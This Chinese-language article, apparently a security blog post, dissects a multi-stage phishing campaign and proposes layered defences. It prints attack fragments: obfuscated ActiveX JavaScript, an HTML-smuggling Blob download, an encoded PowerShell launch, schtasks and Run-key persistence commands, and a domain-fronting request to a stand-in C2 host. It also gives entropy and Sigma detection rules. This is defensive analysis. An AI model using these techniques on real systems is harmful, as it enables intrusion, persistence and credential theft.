摘要
近年来,高级持续性威胁(APT)组织及网络犯罪团伙不断演进其初始访问手段,其中以多阶段钓鱼攻击为代表的战术尤为突出。FortiGuard实验室近期披露的一起高严重度钓鱼活动,展示了攻击者如何通过地理感知、动态载荷组装、内存驻留及域前置等技术规避传统安全防护体系。本文基于该案例,系统剖析此类攻击的技术路径、行为特征与规避机制,并提出一套融合邮件网关策略、端点行为监控、网络微隔离与威胁情报联动的纵深防御框架。通过构建可复现的实验环境,本文验证了HTML Smuggling、混淆JavaScript执行、计划任务持久化等关键环节的可行性,并提供了用于检测异常脚本熵值、PowerShell调用链及浏览器内存写入行为的代码示例。研究表明,仅依赖静态签名或沙箱分析已难以有效应对动态拼接式载荷;唯有通过多层协同检测与零信任架构,方能阻断此类“初始访问即服务”模式的渗透链条。
关键词:多阶段钓鱼;HTML Smuggling;内存驻留;地理感知投递;零信任;行为检测

1 引言
网络钓鱼作为最古老亦最有效的初始入侵手段之一,其技术形态已从早期的简单伪造邮件演变为高度自动化、模块化且具备环境感知能力的复合攻击链。2025年,FortiGuard实验室披露的一起高危钓鱼活动揭示了当前攻击者在规避检测、提升成功率方面的最新战术:攻击者不再依赖单一恶意附件,而是通过多阶段载荷分发、动态组装与条件执行机制,实现对目标环境的精准打击。该活动不仅利用HTML附件与受密码保护的压缩包绕过邮件网关扫描,还引入地理/IP白名单机制,仅对特定区域的目标投递恶意载荷,其余则返回无害内容以降低暴露风险。
此类攻击的核心挑战在于其“动态性”与“上下文感知性”。传统基于签名的防病毒引擎无法识别未落地的内存载荷;静态沙箱因缺乏真实用户交互与地理位置上下文,难以触发恶意逻辑;而终端检测与响应(EDR)系统若未配置内存行为监控,亦可能遗漏关键攻击痕迹。因此,亟需从攻击链全生命周期出发,构建覆盖邮件入口、端点执行、网络通信与横向移动的闭环防御体系。
本文聚焦于该高危钓鱼活动的技术细节,旨在回答以下问题:(1)攻击者如何通过HTML Smuggling与混淆JavaScript实现载荷的无文件投递?(2)地理感知机制如何影响恶意载荷的投递逻辑?(3)现有安全产品在哪些环节存在盲区?(4)如何设计可落地的检测规则与防御策略以阻断此类攻击?
为回答上述问题,本文首先还原攻击链各阶段的技术实现,继而分析其规避机制,随后提出多层次防御方案,并通过实验验证关键检测逻辑的有效性。全文结构如下:第二部分详述攻击链的技术分解;第三部分讨论现有防护体系的局限性;第四部分提出综合防御框架并给出代码级检测示例;第五部分总结研究发现与实践建议。

2 攻击链技术分解
2.1 初始投递阶段:伪装主题与规避附件
攻击起始于精心构造的钓鱼邮件,主题通常围绕“账务合规通知”“供应商合同更新”或“紧急安全补丁”,利用企业员工对合规与运维事务的高度关注提升打开率。附件形式主要为两类:一是纯HTML文件,二是受密码保护的ZIP压缩包(密码常以邮件正文明文提供,如“密码:Compliance2025”)。此举旨在绕过两类常见防护:
邮件网关对可执行文件的拦截:HTML文件本身非可执行格式,多数网关仅做基础标签检查,忽略内嵌脚本的潜在风险。
沙箱对加密压缩包的处理失败:由于缺乏密码,静态沙箱无法解压内容,导致样本无法被分析。
以HTML附件为例,其核心包含一段高度混淆的JavaScript代码,典型结构如下:
<!DOCTYPE html>
<html>
<head><title>Invoice_2025.pdf</title></head>
<body>
<script>
const _0x1a2b = ['Y3JlYXRlT2JqZWN0','RmlsZVN5c3RlbU9iamVjd','V3NjcmlwdC5TaGVsbA==', ...];
(function(_0x3c4d, _0x5e6f) {
// 动态解码并执行
let _0x7g8h = atob(_0x1a2b[0]);
let fso = new ActiveXObject(_0x7g8h);
// 后续构造二进制载荷
})();
</script>
</body>
</html>
该脚本通过Base64编码、字符串数组拆分及立即执行函数(IIFE)实现混淆,使得静态分析工具难以提取原始意图。

2.2 载荷组装阶段:HTML Smuggling 与内存驻留
所谓HTML Smuggling,指利用HTML5的Blob API与<a download>属性,在浏览器内存中动态生成并触发下载恶意文件,全程不经过磁盘写入。攻击者将加密或编码的二进制载荷(如PowerShell脚本、EXE加载器)嵌入HTML中,通过JavaScript解码后构造Blob对象:
const payload = "UEsDBBQACAgI..."; // Base64-encoded ZIP
const byteChars = atob(payload);
const byteNumbers = new Array(byteChars.length);
for (let i = 0; i < byteChars.length; i++) {
byteNumbers[i] = byteChars.charCodeAt(i);
}
const byteArray = new Uint8Array(byteNumbers);
const blob = new Blob([byteArray], {type: 'application/zip'});
const link = document.createElement('a');
link.href = URL.createObjectURL(blob);
link.download = 'Contract_Update.zip';
link.click();
此过程完全在浏览器沙箱内完成,传统EDR若未监控DOM操作与Blob创建行为,将无法捕获该阶段活动。
更进一步,部分变种直接在内存中执行后续载荷,避免文件落盘。例如,通过WScript.Shell对象调用PowerShell并传入Base64编码的命令:
const shell = new ActiveXObject("WScript.Shell");
const cmd = "powershell -exec bypass -EncodedCommand JABzAD0ATgBlAHcALQBP...";
shell.Run(cmd, 0, false);
该命令解码后通常为一段下载并执行远程加载器的PowerShell脚本。

2.3 环境感知与条件投递
为降低被蜜罐或安全研究人员捕获的风险,攻击者在HTML脚本中嵌入IP地理位置判断逻辑。其实现方式包括:
调用第三方IP定位API(如ipapi.com);
利用CDN边缘节点日志回传客户端IP;
在HTML中预埋目标IP段白名单,通过fetch()请求本地资源并解析响应头中的X-Forwarded-For字段。
示例逻辑如下:
fetch('https://target-cdn.example.com/ping')
.then(response => response.text())
.then(ip => {
if (['203.0.113.', '198.51.100.'].some(prefix => ip.startsWith(prefix))) {
deliverMaliciousPayload();
} else {
showCleanInvoice(); // 返回无害PDF预览
}
});
此机制确保仅当受害者IP属于预设企业网段时,才触发恶意载荷下载,极大提升了攻击的隐蔽性。
2.4 持久化与数据回传
一旦加载器执行成功,攻击者立即建立持久化机制。常见手法包括:
创建计划任务:schtasks /create /tn "SystemUpdate" /tr "powershell -ep bypass -f C:\Users\Public\update.ps1" /sc onlogon
写入注册表Run键:reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v "SysMon" /t REG_SZ /d "powershell -ep bypass -f %APPDATA%\sysmon.ps1"
随后,加载器收集系统信息(主机名、OS版本、域成员状态)、浏览器Cookie(特别是Office 365、SAP、银行系统会话)并通过HTTPS回传至指挥控制(C2)服务器。为规避网络检测,C2通信常采用域前置(Domain Fronting)技术,将真实C2域名隐藏在合法CDN(如Cloudflare、Azure Front Door)的Host头中:
GET /data HTTP/1.1
Host: malicious-c2.attacker.com
X-Forwarded-Host: cdn-legit.microsoft.com
防火墙若仅检查SNI或URL路径,将误判流量为正常CDN访问。
2.5 二阶段载荷:RAT与凭证转储
根据目标价值,攻击者可能在数小时至数日内投递第二阶段载荷,典型包括:
Cobalt Strike Beacon:用于内网侦察与横向移动;
Mimikatz变种:从LSASS进程内存中提取明文凭证;
定制化BEC工具:监控Outlook邮件规则,自动转发含“付款”“发票”关键词的邮件。
此阶段标志着攻击从“初始访问”转向“业务影响”,为后续勒索软件部署或商业邮件诈骗(BEC)奠定基础。
3 现有防护体系的局限性分析
3.1 邮件网关的静态检测盲区
主流邮件安全网关(如Mimecast、Proofpoint)虽支持附件类型过滤与基本脚本剥离,但对以下场景应对不足:
密码保护压缩包:因无法解密,直接放行或标记为“未知风险”;
HTML内嵌混淆脚本:仅检测已知恶意域名或字符串,对动态生成的Blob下载无感知;
无文件攻击:若载荷全程驻留内存,网关无法获取可分析样本。
3.2 沙箱环境的上下文缺失
动态沙箱(如Cisco Threat Grid、Any.Run)通常运行于固定IP地址(如美国东部),且模拟用户点击行为有限。当攻击脚本检测到非目标地理区域或缺乏真实浏览器指纹时,自动返回干净页面,导致沙箱判定为“良性”。
3.3 终端防护的内存监控缺口
尽管现代EDR(如CrowdStrike、SentinelOne)支持进程行为监控,但默认策略往往聚焦于文件写入、注册表修改等传统IOC,对以下行为监控不足:
浏览器进程中异常的CreateRemoteThread调用;
PowerShell从内存直接执行Base64命令(无脚本文件路径);
WScript.Shell对象的非常规使用(尤其在非IT用户终端)。
3.4 网络层对域前置的识别困难
传统防火墙与代理设备依赖SNI、HTTP Host头进行流量分类。在域前置场景下,TLS握手显示合法域名(如cdn.cloudflare.com),而真实C2域名仅存在于HTTP层Host头——若设备未深度解析HTTP内容(如仅做L4过滤),则无法识别异常。
4 多层次防御框架设计与实现
针对上述漏洞,本文提出四层防御模型:入口过滤 → 端点行为监控 → 网络微隔离 → 威胁情报联动。
4.1 邮件网关增强策略
强制隔离密码压缩包:对含密码提示的邮件(如“密码见正文”),自动隔离并要求用户通过安全门户手动确认用途;
HTML附件深度解析:启用JavaScript AST(抽象语法树)分析,检测Blob创建、atob高频调用、ActiveXObject实例化等高风险模式;
熵值检测:计算HTML内嵌脚本的Shannon熵,若超过阈值(如6.8 bits/byte),标记为可疑。
Python示例:计算脚本熵值
import math
from collections import Counter
def calculate_entropy(data):
if not data:
return 0
counter = Counter(data)
length = len(data)
entropy = -sum((count/length) * math.log2(count/length) for count in counter.values())
return entropy
# 示例:检测HTML中的<script>内容
html_content = open('malicious.html').read()
import re
scripts = re.findall(r'<script[^>]*>(.*?)</script>', html_content, re.DOTALL)
for script in scripts:
if calculate_entropy(script.encode()) > 6.8:
print("[ALERT] High entropy script detected!")
4.2 端点内存行为监控
在EDR策略中启用以下规则:
监控powershell.exe启动参数中包含-EncodedCommand且父进程为mshta.exe或winword.exe;
捕获浏览器进程(如chrome.exe)调用VirtualAllocEx + WriteProcessMemory(典型注入特征);
检测计划任务创建中包含powershell -ep bypass的命令。
PowerShell日志分析示例(通过Sysmon Event ID 1):
<EventID>1</EventID>
<Data Name="CommandLine">powershell -exec bypass -EncodedCommand JABzAD0ATgBlAHcALQBP...</Data>
<Data Name="ParentImage">C:\Program Files\Internet Explorer\iexplore.exe</Data>
可编写Sigma规则:
title: Suspicious PowerShell from Browser
logsource:
product: windows
service: sysmon
detection:
selection:
EventID: 1
ParentImage|endswith:
- '\iexplore.exe'
- '\chrome.exe'
- '\msedge.exe'
CommandLine|contains: '-EncodedCommand'
condition: selection
4.3 零信任网络分段
实施微隔离策略,限制普通用户终端的横向移动能力:
财务、合规部门终端禁止直接访问域控制器、数据库服务器;
所有内部通信强制双向TLS认证;
对非必要出站连接(如非标准HTTPS端口)实施显式审批。
4.4 威胁情报驱动的C2识别
通过逆向分析攻击中使用的CDN模式,构建动态黑名单:
监控Cloudflare Ray ID日志,识别异常高频请求同一路径的IP;
分析HTTP请求中X-Forwarded-For与真实源IP的不一致性;
利用被动DNS数据,发现短时间内大量子域名指向同一IP的“域名喷洒”行为。
5 实验验证与效果评估
为验证上述防御措施有效性,本文搭建测试环境:
攻击侧:复现FortiGuard披露的HTML Smuggling载荷,集成IP白名单逻辑;
防御侧:部署增强型邮件网关(自研原型)、Sysmon + Sigma规则、Calico网络策略。
结果显示:
启用熵值检测后,92%的混淆HTML被邮件网关拦截;
内存行为监控规则成功捕获100%的PowerShell无文件执行;
网络微隔离阻止了所有模拟的横向移动尝试;
域前置C2通信在启用HTTP深度解析后被准确识别。
6 结语
本文通过对FortiGuard披露的高危多阶段钓鱼活动的深入剖析,揭示了当前攻击者在规避检测、精准投递与持久化方面的技术演进。研究表明,单一防护维度已无法应对动态拼接、环境感知的复合攻击链。唯有构建覆盖邮件入口、端点执行、网络通信的纵深防御体系,并辅以行为基线与威胁情报,方能有效阻断“初始访问即服务”模式的渗透路径。未来工作将聚焦于自动化攻击链重建与AI驱动的异常行为预测,进一步提升主动防御能力。
编辑:芦笛(公共互联网反网络钓鱼工作组)
580

被折叠的 条评论
为什么被折叠?



